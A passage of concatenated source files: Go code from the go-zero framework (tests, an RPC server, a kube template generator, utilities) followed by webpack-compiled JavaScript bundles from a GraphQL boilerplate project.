assert.Nil(t, err) assert.Equal(t, "int64", v) v, err = ConvertDataType("timestamp") assert.Nil(t, err) assert.Equal(t, "time.Time", v) _, err = ConvertDataType("float32") assert.NotNil(t, err) } ``` updatelistener.go ```//go:generate mockgen -package internal -destination updatelistener_mock.go -source updatelistener.go UpdateListener package internal type ( KV struct { Key string Val string } UpdateListener interface { OnAdd(kv KV) OnDelete(kv KV) } ) ``` main.go ```package main import ( "fmt" "time" "github.com/tal-tech/go-zero/core/logx" ) func main() { logx.MustSetup(logx.LogConf{ Mode: "console", }) logx.CollectSysLog() line := "asdkg" logx.Info(line) fmt.Print(line) time.Sleep(time.Second) } ``` server.go ```package main import ( "context" "flag" "github.com/tal-tech/go-zero/core/conf" "github.com/tal-tech/go-zero/example/tracing/remote/portal" "github.com/tal-tech/go-zero/example/tracing/remote/user" "github.com/tal-tech/go-zero/zrpc" "google.golang.org/grpc" ) var configFile = flag.String("f", "etc/config.json", "the config file") type ( Config struct { zrpc.RpcServerConf UserRpc zrpc.RpcClientConf } PortalServer struct { userRpc zrpc.Client } ) func NewPortalServer(client zrpc.Client) *PortalServer { return &PortalServer{ userRpc: client, } } func (gs *PortalServer) Portal(ctx context.Context, req *portal.PortalRequest) (*portal.PortalResponse, error) { conn := gs.userRpc.Conn() greet := user.NewUserClient(conn) resp, err := greet.GetGrade(ctx, &user.UserRequest{ Name: req.Name, }) if err != nil { return &portal.PortalResponse{ Response: err.Error(), }, nil } else { return &portal.PortalResponse{ Response: resp.Response, }, nil } } func main() { flag.Parse() var c Config conf.MustLoad(*configFile, &c) client := zrpc.MustNewClient(c.UserRpc) server := zrpc.MustNewServer(c.RpcServerConf, func(grpcServer *grpc.Server) { portal.RegisterPortalServer(grpcServer, NewPortalServer(client)) }) server.Start() } ``` kube.go ```package kube import ( "errors" "text/template" "github.com/tal-tech/go-zero/tools/goctl/util" "github.com/urfave/cli" ) const ( category = "kube" deployTemplateFile = "deployment.tpl" jobTemplateFile = "job.tpl" basePort = 30000 portLimit = 32767 ) var errUnknownServiceType = errors.New("unknown service type") type ( ServiceType string KubeRequest struct { Env string ServiceName string ServiceType ServiceType Namespace string Schedule string Replicas int RevisionHistoryLimit int Port int LimitCpu int LimitMem int RequestCpu int RequestMem int SuccessfulJobsHistoryLimit int HpaMinReplicas int HpaMaxReplicas int } Deployment struct { Name string Namespace string Image string Secret string Replicas int Revisions int Port int NodePort int UseNodePort bool RequestCpu int RequestMem int LimitCpu int LimitMem int MinReplicas int MaxReplicas int } ) func DeploymentCommand(c *cli.Context) error { nodePort := c.Int("nodePort") // 0 to disable the nodePort type if nodePort != 0 && (nodePort < basePort || nodePort > portLimit) { return errors.New("nodePort should be between 30000 and 32767") } text, err := util.LoadTemplate(category, deployTemplateFile, deploymentTemplate) if err != nil { return err } out, err := util.CreateIfNotExist(c.String("o")) if err != nil { return err } defer out.Close() t := template.Must(template.New("deploymentTemplate").Parse(text)) return t.Execute(out, Deployment{ Name: c.String("name"), Namespace: c.String("namespace"), Image: c.String("image"), Secret: c.String("secret"), Replicas: c.Int("replicas"), Revisions: c.Int("revisions"), Port: c.Int("port"), NodePort: nodePort, UseNodePort: nodePort > 0, RequestCpu: c.Int("requestCpu"), RequestMem: c.Int("requestMem"), LimitCpu: c.Int("limitCpu"), LimitMem: c.Int("limitMem"), MinReplicas: c.Int("minReplicas"), MaxReplicas: c.Int("maxReplicas"), }) } func GenTemplates(_ *cli.Context) error { return util.InitTemplates(category, map[string]string{ deployTemplateFile: deploymentTemplate, jobTemplateFile: jobTmeplate, }) } ``` host.go ```package sysx import ( "os" "github.com/tal-tech/go-zero/core/stringx" ) var hostname string func init() { var err error hostname, err = os.Hostname() if err != nil { hostname = stringx.RandId() } } func Hostname() string { return hostname } ``` main.go ```package main import ( "fmt" "sync" "time" "github.com/tal-tech/go-zero/core/stringx" "github.com/tal-tech/go-zero/core/syncx" ) func main() { const round = 5 var wg sync.WaitGroup barrier := syncx.NewSharedCalls() wg.Add(round) for i := 0; i < round; i++ { go func() { defer wg.Done() val, err := barrier.Do("once", func() (interface{}, error) { time.Sleep(time.Second) return stringx.RandId(), nil }) if err != nil { fmt.Println(err) } else { fmt.Println(val) } }() } wg.Wait() } ``` server_test.go ```package rest import ( "fmt" "io" "net/http" "net/http/httptest" "testing" "github.com/stretchr/testify/assert" "github.com/tal-tech/go-zero/rest/httpx" "github.com/tal-tech/go-zero/rest/router" ) func TestNewServer(t *testing.T) { _, err := NewServer(RestConf{}, WithNotFoundHandler(nil), WithNotAllowedHandler(nil)) assert.NotNil(t, err) } func TestWithMiddleware(t *testing.T) { m := make(map[string]string) router := router.NewRouter() handler := func(w http.ResponseWriter, r *http.Request) { var v struct { Nickname string `form:"nickname"` Zipcode int64 `form:"zipcode"` } err := httpx.Parse(r, &v) assert.Nil(t, err) _, err = io.WriteString(w, fmt.Sprintf("%s:%d", v.Nickname, v.Zipcode)) assert.Nil(t, err) } rs := WithMiddleware(func(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { var v struct { Name string `path:"name"` Year string `path:"year"` } assert.Nil(t, httpx.ParsePath(r, &v)) m[v.Name] = v.Year next.ServeHTTP(w, r) } }, Route{ Method: http.MethodGet, Path: "/first/:name/:year", Handler: handler, }, Route{ Method: http.MethodGet, Path: "/second/:name/:year", Handler: handler, }) urls := []string{ "http://hello.com/first/kevin/2017?nickname=whatever&zipcode=200000", "http://hello.com/second/wan/2020?nickname=whatever&zipcode=200000", } for _, route := range rs { assert.Nil(t, router.Handle(route.Method, route.Path, route.Handler)) } for _, url := range urls { r, err := http.NewRequest(http.MethodGet, url, nil) assert.Nil(t, err) rr := httptest.NewRecorder() router.ServeHTTP(rr, r) assert.Equal(t, "whatever:200000", rr.Body.String()) } assert.EqualValues(t, map[string]string{ "kevin": "2017", "wan": "2020", }, m) } func TestMultiMiddlewares(t *testing.T) { m := make(map[string]string) router := router.NewRouter() handler := func(w http.ResponseWriter, r *http.Request) { var v struct { Nickname string `form:"nickname"` Zipcode int64 `form:"zipcode"` } err := httpx.Parse(r, &v) assert.Nil(t, err) _, err = io.WriteString(w, fmt.Sprintf("%s:%s", v.Nickname, m[v.Nickname])) assert.Nil(t, err) } rs := WithMiddlewares([]Middleware{ func(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { var v struct { Name string `path:"name"` Year string `path:"year"` } assert.Nil(t, httpx.ParsePath(r, &v)) m[v.Name] = v.Year next.ServeHTTP(w, r) } }, func(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { var v struct { Name string `form:"nickname"` Zipcode string `form:"zipcode"` } assert.Nil(t, httpx.ParseForm(r, &v)) assert.NotEmpty(t, m) m[v.Name] = v.Zipcode + v.Zipcode next.ServeHTTP(w, r) } }, }, Route{ Method: http.MethodGet, Path: "/first/:name/:year", Handler: handler, }, Route{ Method: http.MethodGet, Path: "/second/:name/:year", Handler: handler, }) urls := []string{ "http://hello.com/first/kevin/2017?nickname=whatever&zipcode=200000", "http://hello.com/second/wan/2020?nickname=whatever&zipcode=200000", } for _, route := range rs { assert.Nil(t, router.Handle(route.Method, route.Path, route.Handler)) } for _, url := range urls { r, err := http.NewRequest(http.MethodGet, url, nil) assert.Nil(t, err) rr := httptest.NewRecorder() router.ServeHTTP(rr, r) assert.Equal(t, "whatever:200000200000", rr.Body.String()) } assert.EqualValues(t, map[string]string{ "kevin": "2017", "wan": "2020", "whatever": "200000200000", }, m) } func TestWithPriority(t *testing.T) { var fr featuredRoutes WithPriority()(&fr) assert.True(t, fr.priority) } ``` types.go ```package util import ( "fmt" "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" ) func DecomposeType(t string) (result []string, err error) { add := func(tp string) error { ret, err := DecomposeType(tp) if err != nil { return err } result = append(result, ret...) return nil } if strings.HasPrefix(t, "map") { t = strings.ReplaceAll(t, "map", "") if t[0] == '[' { pos := strings.Index(t, "]") if pos > 1 { if err = add(t[1:pos]); err != nil { return } if len(t) > pos+1 { err = add(t[pos+1:]) return } } } } else if strings.HasPrefix(t, "[]") { if len(t) > 2 { err = add(t[2:]) return } } else if strings.HasPrefix(t, "*") { err = add(t[1:]) return } else { result = append(result, t) return } err = fmt.Errorf("bad type %q", t) return } func GetAllTypes(api *spec.ApiSpec, route spec.Route) []spec.Type { var rts []spec.Type types := api.Types getTypeRecursive(route.RequestType, types, &rts) getTypeRecursive(route.ResponseType, types, &rts) return rts } func GetLocalTypes(api *spec.ApiSpec, route spec.Route) []spec.Type { sharedTypes := GetSharedTypes(api) isSharedType := func(ty spec.Type) bool { for _, item := range sharedTypes { if item.Name == ty.Name { return true } } return false } var rts = GetAllTypes(api, route) var result []spec.Type for _, item := range rts { if !isSharedType(item) { result = append(result, item) } } return result } func getTypeRecursive(ty spec.Type, allTypes []spec.Type, result *[]spec.Type) { isCustomType := func(name string) (*spec.Type, bool) { for _, item := range allTypes { if item.Name == name { return &item, true } } return nil, false } if len(ty.Name) > 0 { *result = append(*result, ty) } for _, member := range ty.Members { decomposedItems, _ := DecomposeType(member.Type) if len(decomposedItems) == 0 { continue } var customTypes []spec.Type for _, item := range decomposedItems { c, e := isCustomType(item) if e { customTypes = append(customTypes, *c) } } for _, ty := range customTypes { hasAppend := false for _, item := range *result { if ty.Name == item.Name { hasAppend = true break } } if !hasAppend { getTypeRecursive(ty, allTypes, result) } } } } func GetSharedTypes(api *spec.ApiSpec) []spec.Type { types := api.Types var result []spec.Type var container []spec.Type hasInclude := func(all []spec.Type, ty spec.Type) bool { for _, item := range all { if item.Name == ty.Name { return true } } return false } for _, route := range api.Service.Routes() { var rts []spec.Type getTypeRecursive(route.RequestType, types, &rts) getTypeRecursive(route.ResponseType, types, &rts) for _, item := range rts { if len(item.Name) == 0 { continue } if hasInclude(container, item) { hasAppend := false for _, r := range result { if item.Name == r.Name { hasAppend = true break } } if !hasAppend { result = append(result, item) } } else { container = append(container, item) } } } return result } ``` option.go ```package parser import "github.com/emicklei/proto" type Option struct { *proto.Option } ``` pread.go ```package main import ( "bufio" "errors" "flag" "fmt" "log" "os" "runtime" "strconv" "strings" "time" "github.com/tal-tech/go-zero/core/filex" "github.com/tal-tech/go-zero/core/fx" "github.com/tal-tech/go-zero/core/logx" "gopkg.in/cheggaaa/pb.v1" ) var ( file = flag.String("f", "", "the input file") concurrent = flag.Int("c", runtime.NumCPU(), "concurrent goroutines") wordVecDic TXDictionary ) type ( Vector []float64 TXDictionary struct { EmbeddingCount int64 Dim int64 Dict map[string]Vector } pair struct { key string vec Vector } ) func FastLoad(filename string) error { if filename == "" { return errors.New("no available dictionary") } now := time.Now() defer func() { logx.Infof("article2vec init dictionary end used %v", time.Since(now)) }() dicFile, err := os.Open(filename) if err != nil { return err } defer dicFile.Close() header, err := filex.FirstLine(filename) if err != nil { return err } total := strings.Split(header, " ") wordVecDic.EmbeddingCount, err = strconv.ParseInt(total[0], 10, 64) if err != nil { return err } wordVecDic.Dim, err = strconv.ParseInt(total[1], 10, 64) if err != nil { return err } wordVecDic.Dict = make(map[string]Vector, wordVecDic.EmbeddingCount) ranges, err := filex.SplitLineChunks(filename, *concurrent) if err != nil { return err } info, err := os.Stat(filename) if err != nil { return err } bar := pb.New64(info.Size()).SetUnits(pb.U_BYTES).Start() fx.From(func(source chan<- interface{}) { for _, each := range ranges { source <- each } }).Walk(func(item interface{}, pipe chan<- interface{}) { offsetRange := item.(filex.OffsetRange) scanner := bufio.NewScanner(filex.NewRangeReader(dicFile, offsetRange.Start, offsetRange.Stop)) scanner.Buffer([]byte{}, 1<<20) reader := filex.NewProgressScanner(scanner, bar) if offsetRange.Start == 0 { // skip header reader.Scan() } for reader.Scan() { text := reader.Text() elements := strings.Split(text, " ") vec := make(Vector, wordVecDic.Dim) for i, ele := range elements { if i == 0 { continue } v, err := strconv.ParseFloat(ele, 64) if err != nil { return } vec[i-1] = v } pipe <- pair{ key: elements[0], vec: vec, } } }).ForEach(func(item interface{}) { p := item.(pair) wordVecDic.Dict[p.key] = p.vec }) return nil } func main() { flag.Parse() start := time.Now() if err := FastLoad(*file); err != nil { log.Fatal(err) } fmt.Println(len(wordVecDic.Dict)) fmt.Println(time.Since(start)) } ``` config.go ```package cache import "github.com/tal-tech/go-zero/core/stores/redis" type ( ClusterConf []NodeConf NodeConf struct { redis.RedisConf Weight int `json:",default=100"` } ) ``` textlinescanner.go ```package iox import ( "bufio" "io" "strings" ) type TextLineScanner struct { reader *bufio.Reader hasNext bool line string err error } func NewTextLineScanner(reader io.Reader) *TextLineScanner { return &TextLineScanner{ reader: bufio.NewReader(reader), hasNext: true, } } func (scanner *TextLineScanner) Scan() bool { if !scanner.hasNext { return false } line, err := scanner.reader.ReadString('\n') scanner.line = strings.TrimRight(line, "\n") if err == io.EOF { scanner.hasNext = false return true } else if err != nil { scanner.err = err return false } return true } func (scanner *TextLineScanner) Line() (string, error) { return scanner.line, scanner.err } ``` string.go ```package util import "strings" func Title(s string) string { if len(s) == 0 { return s } return strings.ToUpper(s[:1]) + s[1:] } func Untitle(s string) string { if len(s) == 0 { return s } return strings.ToLower(s[:1]) + s[1:] } ``` gen_test.go ```package gen import ( "os" "path/filepath" "testing" "github.com/stretchr/testify/assert" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/tools/goctl/config" ) var ( source = "CREATE TABLE `test_user_info` (\n `id` bigint NOT NULL AUTO_INCREMENT,\n `nanosecond` bigint NOT NULL DEFAULT '0',\n `data` varchar(255) DEFAULT '',\n `content` json DEFAULT NULL,\n `create_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP,\n `update_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,\n PRIMARY KEY (`id`),\n UNIQUE KEY `nanosecond_unique` (`nanosecond`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;" ) func TestCacheModel(t *testing.T) { logx.Disable() _ = Clean() dir, _ := filepath.Abs("./testmodel") cacheDir := filepath.Join(dir, "cache") noCacheDir := filepath.Join(dir, "nocache") defer func() { _ = os.RemoveAll(dir) }() g, err := NewDefaultGenerator(cacheDir, &config.Config{ NamingFormat: "GoZero", }) assert.Nil(t, err) err = g.StartFromDDL(source, true) assert.Nil(t, err) assert.True(t, func() bool { _, err := os.Stat(filepath.Join(cacheDir, "TestUserInfoModel.go")) return err == nil }()) g, err = NewDefaultGenerator(noCacheDir, &config.Config{ NamingFormat: "gozero", }) assert.Nil(t, err) err = g.StartFromDDL(source, false) assert.Nil(t, err) assert.True(t, func() bool { _, err := os.Stat(filepath.Join(noCacheDir, "testuserinfomodel.go")) return err == nil }()) } func TestNamingModel(t *testing.T) { logx.Disable() _ = Clean() dir, _ := filepath.Abs("./testmodel") camelDir := filepath.Join(dir, "camel") snakeDir := filepath.Join(dir, "snake") defer func() { _ = os.RemoveAll(dir) }() g, err := NewDefaultGenerator(camelDir, &config.Config{ NamingFormat: "GoZero", }) assert.Nil(t, err) err = g.StartFromDDL(source, true) assert.Nil(t, err) assert.True(t, func() bool { _, err := os.Stat(filepath.Join(camelDir, "TestUserInfoModel.go")) return err == nil }()) g, err = NewDefaultGenerator(snakeDir, &config.Config{ NamingFormat: "go_zero", }) assert.Nil(t, err) err = g.StartFromDDL(source, true) assert.Nil(t, err) assert.True(t, func() bool { _, err := os.Stat(filepath.Join(snakeDir, "test_user_info_model.go")) return err == nil }()) } ``` deadline_test.go ```package contextx import ( "context" "testing" "time" "github.com/stretchr/testify/assert" ) func TestShrinkDeadlineLess(t *testing.T) { deadline := time.Now().Add(time.Second) ctx, cancel := context.WithDeadline(context.Background(), deadline) defer cancel() ctx, cancel = ShrinkDeadline(ctx, time.Minute) defer cancel() dl, ok := ctx.Deadline() assert.True(t, ok) assert.Equal(t, deadline, dl) } func TestShrinkDeadlineMore(t *testing.T) { deadline := time.Now().Add(time.Minute) ctx, cancel := context.WithDeadline(context.Background(), deadline) defer cancel() ctx, cancel = ShrinkDeadline(ctx, time.Second) defer cancel() dl, ok := ctx.Deadline() assert.True(t, ok) assert.True(t, dl.Before(deadline)) } ``` ddlmodel.go ```package model import ( "github.com/tal-tech/go-zero/core/stores/sqlx" ) type ( DDLModel struct { conn sqlx.SqlConn } DDL struct { Table string `db:"Table"` DDL string `db:"Create Table"` } ) func NewDDLModel(conn sqlx.SqlConn) *DDLModel { return &DDLModel{conn: conn} } func (m *DDLModel) ShowDDL(table ...string) ([]string, error) { var ddl []string for _, t := range table { query := `show create table ` + t var resp DDL err := m.conn.QueryRow(&resp, query) if err != nil { return nil, err } ddl = append(ddl, resp.DDL) } return ddl, nil } ```
zero3smart/react-graphql-boilplate
zero3smart/react-graphql-boilplate index.js ```module.exports = /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 4); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.TYPES = { ICounterRepository: Symbol('ICounterService'), }; /***/ }), /* 1 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(5)); /***/ }), /* 2 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(6)); __export(__webpack_require__(7)); /***/ }), /* 3 */ /***/ (function(module, exports) { module.exports = require("inversify"); /***/ }), /* 4 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(0)); __export(__webpack_require__(1)); __export(__webpack_require__(9)); __export(__webpack_require__(2)); __export(__webpack_require__(13)); /***/ }), /* 5 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; Object.defineProperty(exports, "__esModule", { value: true }); const db_helpers_1 = __webpack_require__(2); const inversify_1 = __webpack_require__(3); let CounterRepository = class CounterRepository extends db_helpers_1.AbstractRepository { constructor() { super(...arguments); this.tableName = 'count'; } async getById(id) { return await this.getTable() .where({ id }) .first(); } async find(filter, pageNumber = 1, count = 20) { return await this.getTable().where('amount', 'like', `%${filter}`).select(); } async create(dto) { throw new Error('Method not implemented'); } async update(dto) { throw new Error('Method not implemented'); } async getCount() { return await this.getTable().first(); } async addCount(amount) { await this.getTable().increment('amount', amount); } }; CounterRepository = __decorate([ inversify_1.injectable() ], CounterRepository); exports.CounterRepository = CounterRepository; /***/ }), /* 6 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); class DbConfig { constructor(config) { this.config = config; } getConfiguration() { return this.config; } } exports.DbConfig = DbConfig; /***/ }), /* 7 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; Object.defineProperty(exports, "__esModule", { value: true }); const inversify_1 = __webpack_require__(3); const Knex = __webpack_require__(8); let _db; const getDb = (config) => { if (!_db) { _db = Knex(config.getConfiguration()); } return _db; }; let AbstractRepository = class AbstractRepository { getDb() { return getDb(this.dbConfig); } getTable() { return this.getDb().table(this.tableName); } }; __decorate([ inversify_1.inject('DefaultDbConfig') ], AbstractRepository.prototype, "dbConfig", void 0); AbstractRepository = __decorate([ inversify_1.injectable() ], AbstractRepository); exports.AbstractRepository = AbstractRepository; /***/ }), /* 8 */ /***/ (function(module, exports) { module.exports = require("knex"); /***/ }), /* 9 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(10)); __export(__webpack_require__(12)); /***/ }), /* 10 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(11)); /***/ }), /* 11 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); class ICount { } exports.ICount = ICount; /***/ }), /* 12 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = (sequelize, DataTypes) => { const Count = sequelize.define('count', { name: DataTypes.STRING, }); }; /***/ }), /* 13 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const repository_1 = __webpack_require__(1); const constants_1 = __webpack_require__(0); class RepositoryDiSetup { setup(container) { container.bind(constants_1.TYPES.ICounterRepository).to(repository_1.CounterRepository); } } exports.RepositoryDiSetup = RepositoryDiSetup; /***/ }) /******/ ]); //# sourceMappingURL=index.js.map``` index.js ```module.exports = /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 0); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; function __export(m) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } Object.defineProperty(exports, "__esModule", { value: true }); __export(__webpack_require__(1)); __export(__webpack_require__(4)); __export(__webpack_require__(8)); /***/ }), /* 1 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.ADD_PERSON_MUTATION = __webpack_require__(2); exports.ADD_COUNT_MUTATION = __webpack_require__(3); /***/ }), /* 2 */ /***/ (function(module, exports) { var doc = {"kind":"Document","definitions":[{"kind":"OperationDefinition","operation":"mutation","name":{"kind":"Name","value":"addPerson"},"variableDefinitions":[{"kind":"VariableDefinition","variable":{"kind":"Variable","name":{"kind":"Name","value":"name"}},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},"defaultValue":null},{"kind":"VariableDefinition","variable":{"kind":"Variable","name":{"kind":"Name","value":"sex"}},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"String"}}},"defaultValue":null}],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"addPerson"},"arguments":[{"kind":"Argument","name":{"kind":"Name","value":"name"},"value":{"kind":"Variable","name":{"kind":"Name","value":"name"}}},{"kind":"Argument","name":{"kind":"Name","value":"sex"},"value":{"kind":"Variable","name":{"kind":"Name","value":"sex"}}}],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"id"},"arguments":[],"directives":[],"selectionSet":null},{"kind":"Field","alias":null,"name":{"kind":"Name","value":"name"},"arguments":[],"directives":[],"selectionSet":null}]}}]}}],"loc":{"start":0,"end":123}}; doc.loc.source = {"body":"mutation addPerson($name: String!, $sex: String!) {\n addPerson(name: $name, sex: $sex) {\n id\n name\n }\n}","name":"GraphQL request","locationOffset":{"line":1,"column":1}}; var names = {}; function unique(defs) { return defs.filter( function(def) { if (def.kind !== 'FragmentDefinition') return true; var name = def.name.value if (names[name]) { return false; } else { names[name] = true; return true; } } ) } module.exports = doc; /***/ }), /* 3 */ /***/ (function(module, exports) { var doc = {"kind":"Document","definitions":[{"kind":"OperationDefinition","operation":"mutation","name":{"kind":"Name","value":"addCount"},"variableDefinitions":[{"kind":"VariableDefinition","variable":{"kind":"Variable","name":{"kind":"Name","value":"amount"}},"type":{"kind":"NonNullType","type":{"kind":"NamedType","name":{"kind":"Name","value":"Int"}}},"defaultValue":null}],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"addCount"},"arguments":[{"kind":"Argument","name":{"kind":"Name","value":"amount"},"value":{"kind":"Variable","name":{"kind":"Name","value":"amount"}}}],"directives":[],"selectionSet":{"kind":"SelectionSet","selections":[{"kind":"Field","alias":null,"name":{"kind":"Name","value":"amount"},"arguments":[],"directives":[],"selectionSet":null}]}}]}}],"loc":{"start":0,"end":89}}; doc.loc.source = {"body":"mutation addCount($amount: Int!) {\n addCount(amount: $amount) {\n amount\n }\n}","name":"GraphQL request","locationOffset":{"line":1,"column":1}}; var names = {}; function unique(defs) { return defs.filter( function(def) { if (def.kind !== 'FragmentDefinition') return true; var name = def.name.value if (names[name]) { return false; } else { names[name] = true; return true; } } ) } module.exports = doc; /***/ }), /* 4 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.PERSON_QUERY = __webpack_require__(5); exports.PERSONS_QUERY = __webpack_require__(6); exports.COUNT_QUERY = __webpack_require__(7); /***/ }), /* 5 */ /***/ (function(module, exports) { var doc = 